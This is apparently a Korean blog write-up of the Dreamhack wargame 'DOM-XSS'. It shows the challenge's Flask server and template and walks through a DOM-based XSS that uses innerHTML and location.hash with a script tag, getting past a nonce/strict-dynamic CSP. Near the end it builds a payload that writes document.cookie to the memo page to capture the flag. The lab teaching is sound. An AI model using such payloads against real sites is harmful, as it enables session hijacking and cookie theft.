[WARGAME] 드림핵 워게임 - DOM-XSS

jckim22·2022년 11월 6일
2

[WEBHACKING] STUDY (WARGAME)

목록 보기
55/114
post-thumbnail

먼저 아래 서버 코드를 보자.
DOM XSS라 그런지 기분 탓인지 모르게 코드가 별게 없어 보인다.

#!/usr/bin/python3
from flask import Flask, request, render_template
from selenium import webdriver
import urllib
import os

app = Flask(__name__)
app.secret_key = os.urandom(32)
nonce = os.urandom(16).hex()

try:
    FLAG = open("./flag.txt", "r").read()
except:
    FLAG = "[**FLAG**]"


def read_url(url, cookie={"name": "name", "value": "value"}):
    cookie.update({"domain": "127.0.0.1"})
    try:
        options = webdriver.ChromeOptions()
        for _ in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome("/chromedriver", options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get("http://127.0.0.1:8000/")
        driver.add_cookie(cookie)
        driver.get(url)
    except Exception as e:
        driver.quit()
        # return str(e)
        return False
    driver.quit()
    return True


def check_xss(param, name, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}#{name}"
    return read_url(url, cookie)

@app.after_request
def add_header(response):
    global nonce
    response.headers['Content-Security-Policy'] = f"default-src 'self'; img-src https://dreamhack.io; style-src 'self' 'unsafe-inline'; script-src 'self' 'nonce-{nonce}' 'strict-dynamic'"
    nonce = os.urandom(16).hex()
    return response

@app.route("/")
def index():
    return render_template("index.html", nonce=nonce)


@app.route("/vuln")
def vuln():
    param = request.args.get("param", "")
    return render_template("vuln.html", nonce=nonce, param=param)


@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html", nonce=nonce)
    elif request.method == "POST":
        param = request.form.get("param")
        name = request.form.get("name")
        if not check_xss(param, name, {"name": "flag", "value": FLAG.strip()}):
            return f'<script nonce={nonce}>alert("wrong??");history.go(-1);</script>'

        return f'<script nonce={nonce}>alert("good");history.go(-1);</script>'


memo_text = ""


@app.route("/memo")
def memo():
    global memo_text
    text = request.args.get("memo", "")
    memo_text += text + "\n"
    return render_template("memo.html", memo=memo_text, nonce=nonce)


app.run(host="0.0.0.0", port=8000)

vuln.html

{% extends "base.html" %}
{% block title %}Index{% endblock %}

{% block head %}
  {{ super() }}
  <style type="text/css">
    .important { color: #336699; }
  </style>
{% endblock %}

{% block content %}

  <script nonce={{ nonce }}>
    window.addEventListener("load", function() {
      var name_elem = document.getElementById("name");
      name_elem.innerHTML = `${location.hash.slice(1)} is my name !`;
    });
 </script>
  {{ param | safe }}
  <pre id="name"></pre>
{% endblock %}

DOM-XSS는 브라우저 단에서 일어나기 때문에 아무래도 웹 페이지에 스크립트 코드가 핵심일 것이다.

확실한 건 일반적인 XSS는 render template로 인해 막혀있고 render_template는 html로 랜더링 해주는 것이기 때문에 DOM-XSS 취약점이 가능할 수 있다는 걸 안다.

response.headers['Content-Security-Policy'] = f"default-src 'self'; img-src https://dreamhack.io; style-src 'self' 'unsafe-inline'; script-src 'self' 'nonce-{nonce}' 'strict-dynamic'"

CSP는 위와 같이 설정이 되어있는데 눈이 가는 것은 strict-dynamic이다.
script에 대해 src까지 신뢰해준다는 것 같다.
자세한 건 더 나중에 알아보겠다.

근데 코드를 보아하니 base태그를 삽입할 수 있을 것만 같다..

아래는 param에 ㄴㅇㄹㄴㅇㄹ이라는 아무 문자열이나 넣어 본 것이다.
아무래도 될 것만 같다.


아래와 같은 base를 flag에서 제출해보았는데

아래처럼 base가 먹혔다.
일단 이렇게 푸는 것은 아니니 DOM-XSS방법으로 다시 풀어보겠다.

코드를 살펴보면

  <script nonce={{ nonce }}>
    window.addEventListener("load", function() {
      var name_elem = document.getElementById("name");
      name_elem.innerHTML = `${location.hash.slice(1)} is my name !`;
    });
 </script>
  {{ param | safe }}
  <pre id="name"></pre>

위와 같이 nonce로 신뢰되는 id가 name인 태그에 # 뒤를 html로 삽입한다.

<p id = name>#내용</p>

위처럼 말이다.
아래와 같이 div태그를 id=name으로 하고 #뒤에는 jckim2을 입력했다.
dvwa때 했던 것과 같이 # 뒤에는 서버로 전송되지 않고 브라우저를 랜더링 할 때 읽혀지게 된다.

그럼 위와 같이 jckim2 is my name이라는 html이 div태그 안에 쓰여지게 된다.
그리고 패킷을 잡아보면 정말로 #뒤는 잘리고 서버에게 요청이 간 것을 볼 수 있다.

그럼 이제 다른 생각을 할 수 있다.
strict dynamic이 되어 있기 때문에 나는 script태그를 이용할 수 있을 것 같다.

만약 스크립트 태그의 id를 name으로 한 뒤 #뒤로 악성 코드를 주입하여 쿠키를 탈취할 수 있다면 어떨까

먼저 아래처럼

param에 작성한 뒤 alert(1)을 성공시켰다.
<script> 태그 안에 alert(1)// 이라는 문자열이 성공적으로 들어가게 된 것이다.

그럼 이제 로컬 호스트가 url을 클릭한다는 시나리오로 쿠키를 memo에 적고 내가 탈취할 수 있는 flag 코드를 작성해보자
코드는 아래와 같다.

<script id=name></script>#location='/memo?memo='+document.cookie//

뒤에 //은 스크립트 상에서 주석이다.
왜 주석을 다는지는 아까 div태그에서 jckim2 is my name이 안에 들어있었던 걸 생각하자.
is my name은 기본으로 들어가는 문자열이기 때문에 주석처리를 해주어야 스크립트 상에서 오류를 피할 수 있다.

그럼 최종적으로

<script id=name>
location='/memo?memo='+document.cookie//is my name
</script>

위와 같은 코드가 innerHTML 될 것이다.

그렇게 아래와 같이 익스플로잇 해주면

flag를 얻을 수 있다.

profile
개발/보안

0개의 댓글